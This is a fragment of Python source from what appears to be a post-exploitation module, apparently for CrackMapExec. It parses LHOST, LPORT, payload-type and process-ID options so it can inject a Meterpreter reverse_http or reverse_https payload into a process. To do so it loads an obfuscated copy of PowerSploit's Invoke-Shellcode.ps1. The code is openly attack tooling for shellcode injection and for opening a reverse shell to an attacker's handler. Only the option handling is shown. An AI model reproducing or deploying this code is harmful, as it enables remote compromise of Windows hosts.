'LHOST    IP hosting the handler
LPORT    Handler port
PAYLOAD  Payload to inject: reverse_http or reverse_https (default: reverse_https)
PROCID   Process ID to inject into (default: current powershell process)'

def options(self, context, module_options):

    self.met_payload = 'reverse_https'
    self.procid = None
    if ((not ('LHOST' in module_options)) or (not ('LPORT' in module_options))):
        context.log.error('LHOST    and    LPORT    options    are    required!')
        exit(1)
    if ('PAYLOAD' in module_options):
        self.met_payload = module_options['PAYLOAD']
    if ('PROCID' in module_options):
        self.procid = module_options['PROCID']
    self.lhost = module_options['LHOST']
    self.lport = module_options['LPORT']
    self.ps_script = obfs_ps_script('powersploit/CodeExecution/Invoke-Shellcode.ps1')
